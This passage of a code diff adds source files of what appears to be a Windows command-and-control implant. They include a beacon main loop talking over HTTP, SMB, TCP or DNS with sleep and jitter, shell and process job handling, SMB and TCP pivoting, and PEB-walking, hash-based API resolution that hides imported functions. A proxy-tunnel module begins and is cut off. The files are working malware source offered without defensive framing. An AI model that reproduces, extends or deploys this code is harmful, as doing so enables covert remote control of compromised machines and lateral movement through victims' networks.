if (c >= 'A' && c <= 'Z')
return 1;
if (c >= 'a' && c <= 'z')
return 1;
if (c == '+' || c == '/' || c == '=')
return 1;
return 0;
}
int b64_decode(const char* in, unsigned char* out, int outlen)
{
int len;
int i;
int j;
int v;
if (in == NULL || out == NULL)
return 0;
len = StrLenA((CHAR*)in);
if (len % 4 != 0)
return 0;
int decodedSize = len / 4 * 3;
for (i = len; i-- > 0; ) {
if (in[i] == '=')
decodedSize--;
else
break;
}
if (outlen < decodedSize)
return 0;
for (i = 0; i < len; i++) {
if (!b64_isvalidchar(in[i])) {
return 0;
}
}
for (i = 0, j = 0; i < len; i += 4, j += 3) {
v = b64invs[in[i] - 43];
v = (v << 6) | b64invs[in[i + 1] - 43];
v = in[i + 2] == '=' ? v << 6 : (v << 6) | b64invs[in[i + 2] - 43];
v = in[i + 3] == '=' ? v << 6 : (v << 6) | b64invs[in[i + 3] - 43];
out[j] = (v >> 16) & 0xFF;
if (in[i + 2] != '=')
out[j + 1] = (v >> 8) & 0xFF;
if (in[i + 3] != '=')
out[j + 2] = v & 0xFF;
}
return 1;
}
+7
View File
@@ -0,0 +1,7 @@
#pragma once
char* b64_encode(const unsigned char* in, int len);
int b64_decoded_size(const char* in);
int b64_decode(const char* in, unsigned char* out, int outlen);
+82
View File
@@ -0,0 +1,82 @@
#include "JobsController.h"
#include "ApiLoader.h"
void* JobsController::operator new(size_t sz)
{
void* p = MemAllocLocal(sz);
return p;
}
void JobsController::operator delete(void* p) noexcept
{
MemFreeLocal(&p, sizeof(JobsController));
}
JobData JobsController::CreateJobData(ULONG taskId, WORD Type, WORD State, HANDLE object, WORD pid, HANDLE input, HANDLE output)
{
JobData jobData = { taskId, Type, State, object, pid, input, output };
this->jobs.push_back(jobData);
return jobData;
}
void JobsController::ProcessJobs(Packer* packer)
{
if ( !this->jobs.size() )
return;
for (int i = 0; i < this->jobs.size(); i++) {
ULONG available = 0;
LPVOID buffer = ReadDataFromAnonPipe(this->jobs[i].pipeRead, &available);
if (available > 0) {
packer->Pack32(jobs[i].jobId);
packer->Pack32(COMMAND_JOB);
packer->Pack8(jobs[i].jobType);
packer->Pack8(JOB_STATE_RUNNING);
packer->PackBytes((BYTE*)buffer, available);
MemFreeLocal(&buffer, available);
}
if (jobs[i].jobState == JOB_STATE_RUNNING) {
ULONG status = 0;
if (jobs[i].jobType == JOB_TYPE_PROCESS || jobs[i].jobType == JOB_TYPE_SHELL)
ApiWin->GetExitCodeProcess(jobs[i].jobObject, &status);
else if (jobs[i].jobType == JOB_TYPE_LOCAL || jobs[i].jobType == JOB_TYPE_REMOTE)
ApiWin->GetExitCodeThread(jobs[i].jobObject, &status);
if (status != STILL_ACTIVE) {
if(jobs[i].jobType == JOB_TYPE_SHELL)
jobs[i].jobState = JOB_STATE_KILLED;
else
jobs[i].jobState = JOB_STATE_FINISHED;
}
}
if (jobs[i].jobState == JOB_STATE_KILLED || jobs[i].jobState == JOB_STATE_FINISHED) {
if (jobs[i].jobType == JOB_TYPE_PROCESS || jobs[i].jobType == JOB_TYPE_SHELL)
ApiNt->NtTerminateProcess(jobs[i].jobObject, NULL);
else if (jobs[i].jobType == JOB_TYPE_LOCAL || jobs[i].jobType == JOB_TYPE_REMOTE)
ApiNt->NtTerminateThread(jobs[i].jobObject, NULL);
if (jobs[i].pipeRead) {
ApiNt->NtClose(jobs[i].pipeRead);
jobs[i].pipeRead = NULL;
}
if (jobs[i].pipeWrite) {
ApiNt->NtClose(jobs[i].pipeWrite);
jobs[i].pipeWrite = NULL;
}
packer->Pack32(jobs[i].jobId);
packer->Pack32(COMMAND_JOB);
packer->Pack8(jobs[i].jobType);
packer->Pack8(jobs[i].jobState);
jobs.remove(i);
--i;
}
}
}
+39
View File
@@ -0,0 +1,39 @@
#pragma once
#include "std.cpp"
#include "Packer.h"
#define COMMAND_JOB 0x8437
#define JOB_TYPE_LOCAL 0x1
#define JOB_TYPE_REMOTE 0x2
#define JOB_TYPE_PROCESS 0x3
#define JOB_TYPE_SHELL 0x4
#define JOB_TYPE_ASYNCBOF 0x5
#define JOB_STATE_STARTING 0x0
#define JOB_STATE_RUNNING 0x1
#define JOB_STATE_FINISHED 0x2
#define JOB_STATE_KILLED 0x3
struct JobData {
ULONG jobId;
WORD jobType;
WORD jobState;
HANDLE jobObject;
WORD pidObject;
HANDLE pipeRead;
HANDLE pipeWrite;
};
class JobsController
{
public:
Vector<JobData> jobs;
JobData CreateJobData(ULONG taskId, WORD Type, WORD State, HANDLE object, WORD pid, HANDLE input, HANDLE output);
void ProcessJobs(Packer* packer);
static void* operator new(size_t sz);
static void operator delete(void* p) noexcept;
};
+115
View File
@@ -0,0 +1,115 @@
#include "main.h"
#include "ApiLoader.h"
#include "Commander.h"
#include "utils.h"
#include "Crypt.h"
#include "WaitMask.h"
#include "Boffer.h"
#include "Connector.h"
#if defined(BEACON_HTTP)
#include "ConnectorHTTP.h"
#elif defined(BEACON_SMB)
#include "ConnectorSMB.h"
#elif defined(BEACON_TCP)
#include "ConnectorTCP.h"
#elif defined(BEACON_DNS)
#include "ConnectorDNS.h"
#endif
Agent* g_Agent;
Connector* g_Connector;
static Connector* CreateConnector()
{
#if defined(BEACON_HTTP)
return new ConnectorHTTP();
#elif defined(BEACON_SMB)
return new ConnectorSMB();
#elif defined(BEACON_TCP)
return new ConnectorTCP();
#elif defined(BEACON_DNS)
return new ConnectorDNS();
#endif
}
DWORD WINAPI AgentMain(LPVOID lpParam)
{
if (!ApiLoad())
return 0;
g_Agent = new Agent();
g_Connector = CreateConnector();
g_AsyncBofManager = new Boffer();
g_AsyncBofManager->Initialize();
ULONG beatSize = 0;
BYTE* beat = g_Agent->BuildBeat(&beatSize);
if (!g_Connector->SetProfile(&g_Agent->config->profile, beat, beatSize))
return 0;
MemFreeLocal((LPVOID*)&beat, beatSize);
Packer* packerOut = new Packer();
packerOut->Pack32(0);
do {
if (!g_Connector->WaitForConnection())
continue;
do {
if (packerOut->datasize() > 4) {
packerOut->Set32(0, packerOut->datasize());
g_Connector->Exchange(packerOut->data(), packerOut->datasize(), g_Agent->SessionKey);
packerOut->Clear(TRUE);
packerOut->Pack32(0);
}
else {
g_Connector->Exchange(nullptr, 0, g_Agent->SessionKey);
}
if (g_Connector->RecvSize() > 0 && g_Connector->RecvData())
g_Agent->commander->ProcessCommandTasks(g_Connector->RecvData(), g_Connector->RecvSize(), packerOut);
g_Connector->RecvClear();
g_Agent->downloader->ProcessDownloader(packerOut);
g_Agent->jober->ProcessJobs(packerOut);
g_Agent->proxyfire->ProcessTunnels(packerOut);
g_Agent->pivotter->ProcessPivots(packerOut);
g_AsyncBofManager->ProcessAsyncBofs(packerOut);
if (g_Agent->IsActive()) {
const BOOL hasOutput = (packerOut->datasize() >= 8);
g_Connector->Sleep(g_AsyncBofManager->GetWakeupEvent(), g_Agent->GetWorkingSleep(), g_Agent->config->sleep_delay, g_Agent->config->jitter_delay, hasOutput);
}
} while (g_Connector->IsConnected() && g_Agent->IsActive());
if (!g_Agent->IsActive() && g_Connector->IsConnected()) {
g_Agent->commander->Exit(packerOut);
packerOut->Set32(0, packerOut->datasize());
g_Connector->Exchange(packerOut->data(), packerOut->datasize(), g_Agent->SessionKey);
g_Connector->RecvClear();
}
g_Connector->Disconnect();
} while (g_Agent->IsActive());
packerOut->Clear(FALSE);
delete packerOut;
g_Connector->CloseConnector();
AgentExit(g_Agent->config->exit_method);
return 0;
}
void AgentExit(const int method)
{
if (method == 1)
ApiNt->RtlExitUserThread(STATUS_SUCCESS);
else if (method == 2)
ApiNt->RtlExitUserProcess(STATUS_SUCCESS);
}
+40
View File
@@ -0,0 +1,40 @@
#include "MemorySaver.h"
void* MemorySaver::operator new(size_t sz)
{
void* p = MemAllocLocal(sz);
return p;
}
void MemorySaver::operator delete(void* p) noexcept
{
MemFreeLocal(&p, sizeof(MemorySaver));
}
MemorySaver::MemorySaver(){}
void MemorySaver::WriteMemoryData(ULONG memoryId, ULONG totalSize, ULONG dataSize, PBYTE data)
{
if ( !chunks.contains(memoryId) ) {
MemoryData memoryData = { 0 };
memoryData.memoryId = memoryId;
memoryData.totalSize = totalSize;
memoryData.buffer = (PBYTE) MemAllocLocal(totalSize);
chunks[memoryId] = memoryData;
}
memcpy( chunks[memoryId].buffer + chunks[memoryId].currentSize, data, dataSize );
chunks[memoryId].currentSize += dataSize;
if (chunks[memoryId].currentSize == chunks[memoryId].totalSize)
chunks[memoryId].complete = true;
}
void MemorySaver::RemoveMemoryData(ULONG memoryId)
{
if (chunks[memoryId].buffer)
MemFreeLocal((LPVOID*)(&chunks[memoryId].buffer), chunks[memoryId].totalSize);
chunks[memoryId] = { 0 };
chunks.remove(memoryId);
}
+26
View File
@@ -0,0 +1,26 @@
#pragma once
#include "std.cpp"
#include "Packer.h"
struct MemoryData {
ULONG memoryId;
ULONG totalSize;
ULONG currentSize;
PBYTE buffer;
BOOL complete;
};
class MemorySaver
{
public:
Map<ULONG, MemoryData> chunks;
MemorySaver();
void WriteMemoryData(ULONG memoryId, ULONG totalSize, ULONG dataSize, PBYTE data);
void RemoveMemoryData(ULONG memoryId);
static void* operator new(size_t sz);
static void operator delete(void* p) noexcept;
};
+235
View File
@@ -0,0 +1,235 @@
#include "Packer.h"
void* Packer::operator new(size_t sz)
{
void* p = MemAllocLocal(sz);
return p;
}
void Packer::operator delete(void* p) noexcept
{
MemFreeLocal(&p, sizeof(Packer));
}
Packer::Packer()
{
this->capacity = 4096;
this->buffer = (BYTE*) MemAllocLocal(this->capacity);
this->size = 0;
this->index = 0;
}
Packer::Packer(BYTE* buffer, ULONG size)
{
this->buffer = buffer;
this->size = size;
this->capacity = size;
this->index = 0;
}
Packer::~Packer(){}
VOID Packer::Set32(ULONG index, ULONG value)
{
PUCHAR place = this->buffer + index;
place[0] = (value >> 24) & 0xFF;
place[1] = (value >> 16) & 0xFF;
place[2] = (value >> 8 ) & 0xFF;
place[3] = (value ) & 0xFF;
}
VOID Packer::EnsureCapacity(ULONG needed)
{
if (this->index + needed > this->capacity) {
ULONG new_cap = this->capacity ? (this->capacity * 2) : 4096;
if (new_cap < this->index + needed)
new_cap = this->index + needed + 1024;
this->buffer = (BYTE*)MemReallocLocal(this->buffer, new_cap);
this->capacity = new_cap;
}
}
VOID Packer::Pack64( ULONG64 value )
{
this->EnsureCapacity(sizeof(ULONG64));
PUCHAR place = (PUCHAR) this->buffer + this->index;
place[0] = (value >> 56) & 0xFF;
place[1] = (value >> 48) & 0xFF;
place[2] = (value >> 40) & 0xFF;
place[3] = (value >> 32) & 0xFF;
place[4] = (value >> 24) & 0xFF;
place[5] = (value >> 16) & 0xFF;
place[6] = (value >> 8 ) & 0xFF;
place[7] = (value ) & 0xFF;
this->size += sizeof(ULONG64);
this->index += sizeof(ULONG64);
}
VOID Packer::Pack32(ULONG value)
{
this->EnsureCapacity(sizeof(ULONG));
PUCHAR place = this->buffer + this->index;
place[0] = (value >> 24) & 0xFF;
place[1] = (value >> 16) & 0xFF;
place[2] = (value >> 8 ) & 0xFF;
place[3] = (value ) & 0xFF;
this->size += sizeof(ULONG);
this->index += sizeof(ULONG);
}
VOID Packer::Pack16(WORD value)
{
this->EnsureCapacity(sizeof(WORD));
PUCHAR place = this->buffer + this->index;
place[0] = (value >> 8) & 0xFF;
place[1] = (value ) & 0xFF;
this->size += sizeof(WORD);
this->index += sizeof(WORD);
}
VOID Packer::Pack8(BYTE value)
{
this->EnsureCapacity(sizeof(BYTE));
(this->buffer + this->index)[0] = value;
this->size += 1;
this->index += 1;
}
VOID Packer::PackBytes(PBYTE data, ULONG data_size)
{
this->Pack32(data_size);
if (data_size) {
EnsureCapacity(data_size);
memcpy(this->buffer + this->index, data, data_size);
this->index += data_size;
this->size = this->index;
}
}
VOID Packer::PackStringA(LPSTR str)
{
ULONG length = StrLenA(str); // +1;
this->PackBytes( (BYTE*) str, length);
}
VOID Packer::PackFlatBytes(PBYTE data, ULONG data_size)
{
if (data_size) {
EnsureCapacity(data_size);
memcpy(this->buffer + this->index, data, data_size);
this->index += data_size;
this->size = this->index;
}
}
PBYTE Packer::data()
{
return this->buffer;
}
ULONG Packer::datasize()
{
return this->index;
}
VOID Packer::Clear(BOOL renew)
{
if (!renew) {
if (this->buffer)
MemFreeLocal((LPVOID*)&this->buffer, this->capacity);
this->buffer = NULL;
this->capacity = 0;
this->size = 0;
this->index = 0;
return;
}
else {
if (this->buffer == NULL) {
this->capacity = 4096;
this->buffer = (BYTE*)MemAllocLocal(this->capacity);
}
else if (this->capacity > 0x100000) { // 1MB
MemFreeLocal((LPVOID*)&this->buffer, this->capacity);
this->capacity = 4096;
this->buffer = (BYTE*)MemAllocLocal(this->capacity);
}
else {
memset(this->buffer, 0, this->capacity);
}
this->index = 0;
this->size = 0;
}
}
BYTE Packer::Unpack8()
{
ULONG value = 0;
if (this->size - this->index < 1)
return 0;
memcpy(&value, this->buffer + this->index, 1);
this->index += 1;
return value;
}
ULONG Packer::Unpack32()
{
ULONG value = 0;
if ( this->size - this->index < 4 )
return 0;
memcpy(&value, this->buffer + this->index, 4);
this->index += 4;
return value;
}
BYTE* Packer::UnpackBytes(ULONG* str_size)
{
*str_size = this->Unpack32();
if ( this->size - this->index < *str_size )
return NULL;
if (*str_size == 0)
return NULL;
BYTE* out = this->buffer + this->index;
this->index += *str_size;
return out;
}
BYTE* Packer::UnpackBytesCopy(ULONG* str_size)
{
*str_size = this->Unpack32();
if (this->size - this->index < *str_size)
return NULL;
if (*str_size == 0)
return NULL;
BYTE* out = (PBYTE) MemAllocLocal(*str_size);
memcpy(out, this->buffer + this->index, *str_size);
this->index += *str_size;
return out;
}
+39
View File
@@ -0,0 +1,39 @@
#pragma once
#include "ApiLoader.h"
#include "utils.h"
class Packer
{
DWORD size;
DWORD capacity;
BYTE* buffer;
DWORD index;
public:
Packer();
Packer(BYTE* buffer, ULONG size);
~Packer();
VOID Set32(ULONG index, ULONG value);
VOID EnsureCapacity(ULONG needed);
VOID Pack64(ULONG64 value);
VOID Pack32(ULONG value);
VOID Pack16(WORD value);
VOID Pack8(BYTE value);
VOID PackBytes(PBYTE data, ULONG data_size);
VOID PackFlatBytes(PBYTE data, ULONG data_size);
VOID PackStringA(LPSTR str);
BYTE Unpack8();
ULONG Unpack32();
BYTE* UnpackBytes(ULONG* size);
BYTE* UnpackBytesCopy(ULONG* size);
VOID Clear(BOOL renew);
PBYTE data();
ULONG datasize();
static void* operator new(size_t sz);
static void operator delete(void* p) noexcept;
};
+323
View File
@@ -0,0 +1,323 @@
#include "Pivotter.h"
void* Pivotter::operator new(size_t sz)
{
void* p = MemAllocLocal(sz);
return p;
}
void Pivotter::operator delete(void* p) noexcept
{
MemFreeLocal(&p, sizeof(Pivotter));
}
void Pivotter::LinkPivotSMB(ULONG taskId, ULONG commandId, CHAR* pipename, Packer* outPacker)
{
HANDLE hPipe;
DWORD startTickCount = ApiWin->GetTickCount() + 5000;
while (1) {
hPipe = ApiWin->CreateFileA(pipename, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_FLAG_OPEN_NO_RECALL, NULL);
if (INVALID_HANDLE_VALUE != hPipe)
break;
if (ApiWin->GetLastError() == ERROR_PIPE_BUSY)
ApiWin->WaitNamedPipeA(pipename, 2000);
else
ApiWin->Sleep(1000);
if (ApiWin->GetTickCount() >= startTickCount) {
outPacker->Pack32(taskId);
outPacker->Pack32(0x1111ffff); // COMMAND_ERROR
outPacker->Pack32(TEB->LastErrorValue);
return;
}
}
DWORD dwMode = PIPE_READMODE_MESSAGE;
if (ApiWin->SetNamedPipeHandleState(hPipe, &dwMode, NULL, NULL)) {
if (PeekNamedPipeTime(hPipe, 5000)) {
LPVOID buffer = NULL;
ULONG bufferSize = 0;
DWORD readedBytes = ReadDataFromPipe(hPipe, &buffer, &bufferSize);
if (readedBytes > 4 && buffer) {
PivotData pivotData = { 0 };
pivotData.Id = taskId;
pivotData.Channel = hPipe;
pivotData.Type = PIVOT_TYPE_SMB;
this->pivots.push_back(pivotData);
outPacker->Pack32(taskId);
outPacker->Pack32(commandId);
outPacker->Pack8(pivotData.Type);
outPacker->Pack32(*((ULONG*)buffer));
outPacker->PackBytes((PBYTE)buffer + 4, readedBytes - 4);
MemFreeLocal(&buffer, bufferSize);
return;
}
else {
if (buffer && bufferSize)
MemFreeLocal(&buffer, bufferSize);
}
}
}
ApiWin->DisconnectNamedPipe(hPipe);
ApiNt->NtClose(hPipe);
outPacker->Pack32(taskId);
outPacker->Pack32(0x1111ffff); // COMMAND_ERROR
outPacker->Pack32(TEB->LastErrorValue);
}
BOOL CheckSocketState(SOCKET sock, int timeoutMs)
{
ULONG endTime = ApiWin->GetTickCount() + timeoutMs;
while (ApiWin->GetTickCount() < endTime) {
fd_set readfds;
readfds.fd_count = 1;
readfds.fd_array[0] = sock;
timeval timeout = { 0, 100 };
int selResult = ApiWin->select(0, &readfds, NULL, NULL, &timeout);
if (selResult == 0)
return TRUE;
if (selResult == SOCKET_ERROR)
return FALSE;
char buf;
int recvResult = ApiWin->recv(sock, &buf, 1, MSG_PEEK);
if (recvResult == 0)
return FALSE;
if (recvResult < 0) {
int err = ApiWin->WSAGetLastError();
if (err == WSAEWOULDBLOCK)
return TRUE;
}
else return TRUE;
}
return FALSE;
}
void Pivotter::LinkPivotTCP(ULONG taskId, ULONG commandId, CHAR* address, WORD port, Packer* outPacker)
{
ULONG err = 0;
WSAData wsaData;
if (ApiWin->WSAStartup(514, &wsaData)) {
err = ApiWin->WSAGetLastError();
ApiWin->WSACleanup();
}
else {
SOCKET sock = ApiWin->socket(AF_INET, SOCK_STREAM, 0);
if (sock != -1) {
hostent* host = ApiWin->gethostbyname(address);
if (host) {
sockaddr_in socketAddress;
memcpy(&socketAddress.sin_addr, *(const void**)host->h_addr_list, host->h_length); //memmove
socketAddress.sin_family = AF_INET;
socketAddress.sin_port = _htons(port);
u_long mode = 0;
if (ApiWin->ioctlsocket(sock, FIONBIO, &mode) != -1) {
if (!(ApiWin->connect(sock, (sockaddr*)&socketAddress, 16) == -1 && ApiWin->WSAGetLastError() != WSAEWOULDBLOCK)) {
if (PeekSocketTime(sock, 5000)) {
LPVOID buffer = NULL;
ULONG bufferSize = 0;
DWORD readedBytes = ReadDataFromSocket(sock, &buffer, &bufferSize);
if (readedBytes > 4 && buffer) {
PivotData pivotData = { 0 };
pivotData.Id = taskId;
pivotData.Socket = sock;
pivotData.Type = PIVOT_TYPE_TCP;
this->pivots.push_back(pivotData);
outPacker->Pack32(taskId);
outPacker->Pack32(commandId);
outPacker->Pack8(pivotData.Type);
outPacker->Pack32(*((ULONG*)buffer));
outPacker->PackBytes((BYTE*)buffer + 4, readedBytes - 4);
MemFreeLocal((LPVOID*)&buffer, bufferSize);
return;
}
else {
if (buffer && bufferSize)
MemFreeLocal((LPVOID*)&buffer, bufferSize);
err = ApiWin->WSAGetLastError();
}
}
else err = ERROR_CONNECTION_REFUSED;
}
else err = ApiWin->WSAGetLastError();
ApiWin->closesocket(sock);
}
else err = ApiWin->WSAGetLastError();
}
else err = ERROR_BAD_NET_NAME;
}
else err = ApiWin->WSAGetLastError();
}
outPacker->Pack32(taskId);
outPacker->Pack32(0x1111ffff); // COMMAND_ERROR
outPacker->Pack32(err);
}
void Pivotter::UnlinkPivot(ULONG taskId, ULONG commandId, ULONG pivotId, Packer* outPacker)
{
ULONG result = FALSE;
PivotData* pivotData = NULL;
for (int i = 0; i < this->pivots.size(); i++) {
pivotData = &(this->pivots[i]);
if (pivotData->Id == pivotId) {
if (pivotData->Type == PIVOT_TYPE_SMB) {
if (pivotData->Channel) {
ApiWin->DisconnectNamedPipe(pivotData->Channel);
ApiNt->NtClose(pivotData->Channel);
}
}
else if (pivotData->Type == PIVOT_TYPE_TCP) {
ApiWin->shutdown(pivotData->Socket, 2);
ApiWin->closesocket(pivotData->Socket);
}
result = pivotData->Type;
this->pivots.remove(i);
break;
}
}
pivotData = NULL;
outPacker->Pack32(taskId);
outPacker->Pack32(commandId);
outPacker->Pack32(pivotId);
outPacker->Pack8(result);
}
void Pivotter::WritePivot(ULONG pivotId, BYTE* data, ULONG size)
{
if (data == NULL || size == 0)
return;
PivotData* pivotData = NULL;
for (int i = 0; i < this->pivots.size(); i++) {
pivotData = &(this->pivots[i]);
if (pivotData->Id == pivotId) {
if (pivotData->Type == PIVOT_TYPE_SMB) {
if (pivotData->Channel)
WriteDataToPipe(pivotData->Channel, data, size);
}
else if (pivotData->Type == PIVOT_TYPE_TCP) {
timeval timeout = { 0, 100 };
fd_set exceptfds;
fd_set writefds;
writefds.fd_array[0] = pivotData->Socket;
writefds.fd_count = 1;
exceptfds.fd_array[0] = writefds.fd_array[0];
exceptfds.fd_count = 1;
ApiWin->select(0, 0, &writefds, &exceptfds, &timeout);
if (ApiWin->__WSAFDIsSet(pivotData->Socket, &exceptfds))
break;
if (ApiWin->__WSAFDIsSet(pivotData->Socket, &writefds)) {
if (ApiWin->send(pivotData->Socket, (const char*)&size, 4, 0) != -1 || ApiWin->WSAGetLastError() != WSAEWOULDBLOCK)
ApiWin->send(pivotData->Socket, (const char*)data, size, 0);
}
}
break;
}
}
pivotData = NULL;
}
void Pivotter::ProcessPivots(Packer* packer)
{
if ( !this->pivots.size() )
return;
PivotData* pivotData = NULL;
for (int i = 0; i < this->pivots.size(); i++) {
pivotData = &this->pivots[i];
if (pivotData->Type == PIVOT_TYPE_SMB) {
if (pivotData->Channel) {
if (PeekNamedPipeTime(pivotData->Channel, 0)) {
LPVOID mallocBuffer = NULL;
ULONG mallocSize = 0;
DWORD readedBytes = ReadDataFromPipe(pivotData->Channel, &mallocBuffer, &mallocSize);
if (readedBytes != -1) {
packer->Pack32(0);
packer->Pack32(COMMAND_PIVOT_EXEC);
packer->Pack32(pivotData->Id);
packer->PackBytes((PBYTE)mallocBuffer, readedBytes);
}
if(mallocBuffer && mallocSize)
MemFreeLocal(&mallocBuffer, readedBytes);
}
else {
if (TEB->LastErrorValue == ERROR_BROKEN_PIPE) {
TEB->LastErrorValue = 0;
ApiWin->DisconnectNamedPipe(pivotData->Channel);
ApiNt->NtClose(pivotData->Channel);
packer->Pack32(0);
packer->Pack32(COMMAND_UNLINK);
packer->Pack32(pivotData->Id);
packer->Pack8(PIVOT_TYPE_DISCONNECT);
this->pivots.remove(i);
i--;
}
}
}
}
else if (pivotData->Type == PIVOT_TYPE_TCP) {
if ( CheckSocketState(pivotData->Socket, 2500) ) {
LPVOID buffer = NULL;
ULONG dataLength = 0;
ULONG readed = 0;
DWORD res = ApiWin->ioctlsocket(pivotData->Socket, FIONREAD, &dataLength);
if (res != -1 && dataLength >= 4) {
dataLength = 0;
readed = ReadFromSocket(pivotData->Socket, (PCHAR)&dataLength, 4);
if (readed == 4 && dataLength) {
buffer = MemAllocLocal(dataLength);
readed = ReadFromSocket(pivotData->Socket, (PCHAR)buffer, dataLength);
if (readed != -1) {
packer->Pack32(0);
packer->Pack32(COMMAND_PIVOT_EXEC);
packer->Pack32(pivotData->Id);
packer->PackBytes((BYTE*)buffer, readed);
}
if (buffer && dataLength)
MemFreeLocal((LPVOID*)&buffer, dataLength);
}
}
}
else {
ApiWin->shutdown(pivotData->Socket, 2);
ApiWin->closesocket(pivotData->Socket);
packer->Pack32(0);
packer->Pack32(COMMAND_UNLINK);
packer->Pack32(pivotData->Id);
packer->Pack8(PIVOT_TYPE_DISCONNECT);
this->pivots.remove(i);
i--;
}
}
}
pivotData = NULL;
}
+35
View File
@@ -0,0 +1,35 @@
#pragma once
#include "std.cpp"
#include "Packer.h"
#define COMMAND_PIVOT_EXEC 37
#define COMMAND_LINK 38
#define COMMAND_UNLINK 39
#define PIVOT_TYPE_SMB 1
#define PIVOT_TYPE_TCP 2
#define PIVOT_TYPE_DISCONNECT 10
struct PivotData {
ULONG Id;
ULONG Type;
HANDLE Channel;
SOCKET Socket;
};
class Pivotter
{
public:
Vector<PivotData> pivots;
void ProcessPivots(Packer* packer);
void LinkPivotSMB(ULONG taskId, ULONG commandId, CHAR* pipename, Packer* outPacker);
void LinkPivotTCP(ULONG taskId, ULONG commandId, CHAR* address, WORD port, Packer* outPacker);
void UnlinkPivot(ULONG taskId, ULONG commandId, ULONG pivotId, Packer* outPacker);
void WritePivot(ULONG pivotId, BYTE* data, ULONG size);
static void* operator new(size_t sz);
static void operator delete(void* p) noexcept;
};
+146
View File
@@ -0,0 +1,146 @@
#include "ProcLoader.h"
#include "ApiLoader.h"
#include "utils.h"
#include "ntdll.h"
ULONG Djb2A(PUCHAR str)
{
if (str == NULL)
return 0;
ULONG hash = 1572;
int c;
while (c = *str++) {
if (c >= 'A' && c <= 'Z')
c += 0x20;
hash = ((hash << 5) + hash) + c;
}
return hash;
}
ULONG Djb2W(PWCHAR str)
{
if (str == NULL)
return 0;
ULONG hash = 1572;
int c;
while (c = *str++) {
if (c >= L'A' && c <= L'Z')
c += 0x20;
hash = ((hash << 5) + hash) + c;
}
return hash;
}
HMODULE GetModuleAddress(ULONG modHash)
{
#ifdef _M_IX86
PEB* ProcEnvBlk = (PEB*)__readfsdword(0x30);
#else
PEB* ProcEnvBlk = (PEB*)__readgsqword(0x60);
#endif
PEB_LDR_DATA* Ldr = ProcEnvBlk->Ldr;
LIST_ENTRY* ModuleList = NULL;
ModuleList = &Ldr->InMemoryOrderModuleList;
LIST_ENTRY* pStartListEntry = ModuleList->Flink;
for (LIST_ENTRY* pListEntry = pStartListEntry; pListEntry != ModuleList; pListEntry = pListEntry->Flink) {
LDR_DATA_TABLE_ENTRY* pEntry = (LDR_DATA_TABLE_ENTRY*)((BYTE*)pListEntry - sizeof(LIST_ENTRY));
if ( Djb2W((PWCHAR)pEntry->BaseDllName.Buffer) == modHash )
return (HMODULE)pEntry->DllBase;
}
return NULL;
}
LPVOID GetSymbolAddress(HANDLE hModule, ULONG symbHash)
{
static int recursionDepth = 0;
if (recursionDepth > 6)
return NULL;
if (hModule == NULL)
return 0;
recursionDepth++;
uintptr_t dllAddress = (uintptr_t) hModule;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(dllAddress + ((PIMAGE_DOS_HEADER)dllAddress)->e_lfanew);
PIMAGE_DATA_DIRECTORY dataDirectory = (PIMAGE_DATA_DIRECTORY)&ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)(dllAddress + dataDirectory->VirtualAddress);
uintptr_t exportedAddressTable = dllAddress + exportDirectory->AddressOfFunctions;
uintptr_t namePointerTable = dllAddress + exportDirectory->AddressOfNames;
uintptr_t ordinalTable = dllAddress + exportDirectory->AddressOfNameOrdinals;
uintptr_t symbolAddress = 0;
DWORD procAddress = 0;
DWORD dwCounter = exportDirectory->NumberOfNames;
while (dwCounter--) {
PUCHAR cpExportedFunctionName = (PUCHAR)(dllAddress + *(DWORD*)namePointerTable);
if ( Djb2A(cpExportedFunctionName) == symbHash ) {
exportedAddressTable += (*(WORD*)ordinalTable * sizeof(DWORD));
procAddress = *(DWORD*)exportedAddressTable;
symbolAddress = dllAddress + procAddress;
if ( dataDirectory->VirtualAddress < procAddress && procAddress < dataDirectory->VirtualAddress + dataDirectory->Size ) {
char* symbol = (char*)(symbolAddress);
char moduleName[64] = { 0 };
char funcName[64] = { 0 };
int index = StrIndexA(symbol, '.');
if (index >= 0) {
memcpy(moduleName, symbol, ++index);
moduleName[index ] = 'd';
moduleName[index + 1] = 'l';
moduleName[index + 2] = 'l';
moduleName[index + 3] = 0;
memcpy(funcName, symbol + index, StrLenA(symbol) - index + 1);
BOOL isApiSetDll = FALSE;
if (StrLenA(moduleName) > 11 && StrNCmpA(moduleName, (char*)"api-ms-win-", 11) == 0)
isApiSetDll = TRUE;
else if (StrLenA(moduleName) > 7 && StrNCmpA(moduleName, (char*)"ext-ms-", 7) == 0)
isApiSetDll = TRUE;
HMODULE hForwardModule = ApiWin->LoadLibraryA(moduleName);
if (hForwardModule) {
LPVOID result = NULL;
if (isApiSetDll) {
result = (LPVOID)ApiWin->GetProcAddress(hForwardModule, funcName);
}
else {
ULONG hashFunc = Djb2A((PUCHAR)funcName);
result = GetSymbolAddress(hForwardModule, hashFunc);
}
memset(moduleName, 0, StrLenA(moduleName));
memset(funcName, 0, StrLenA(funcName));
recursionDepth--;
return result;
}
memset(moduleName, 0, StrLenA(moduleName));
memset(funcName, 0, StrLenA(funcName));
}
break;
}
else {
recursionDepth--;
return (LPVOID) symbolAddress;
}
}
namePointerTable += sizeof(DWORD);
ordinalTable += sizeof(WORD);
}
recursionDepth--;
return NULL;
}
+11
View File
@@ -0,0 +1,11 @@
#pragma once
#include <windows.h>
#include "ApiDefines.h"
ULONG Djb2A(PUCHAR str);
ULONG Djb2W(PWCHAR str);
HMODULE GetModuleAddress(ULONG modHash);
LPVOID GetSymbolAddress(HANDLE hModule, ULONG symbHash);
+684
View File
@@ -0,0 +1,684 @@
#include "Proxyfire.h"
void* Proxyfire::operator new(size_t sz)
{
void* p = MemAllocLocal(sz);
return p;
}
void Proxyfire::operator delete(void* p) noexcept
{
MemFreeLocal(&p, sizeof(Proxyfire));
}
void PackProxyStatus(Packer* packer, ULONG channelId, ULONG commandId, ULONG type, ULONG result)
{
packer->Pack32(channelId);
packer->Pack32(commandId);
packer->Pack32(type);
packer->Pack32(result);
}
void PackProxyControl(Packer* packer, ULONG channelId, ULONG commandId)
{
packer->Pack32(channelId);
packer->Pack32(commandId);
}
void PackProxyData(Packer* packer, ULONG channelId, BYTE* data, ULONG dataSize )
{
packer->Pack32(channelId);
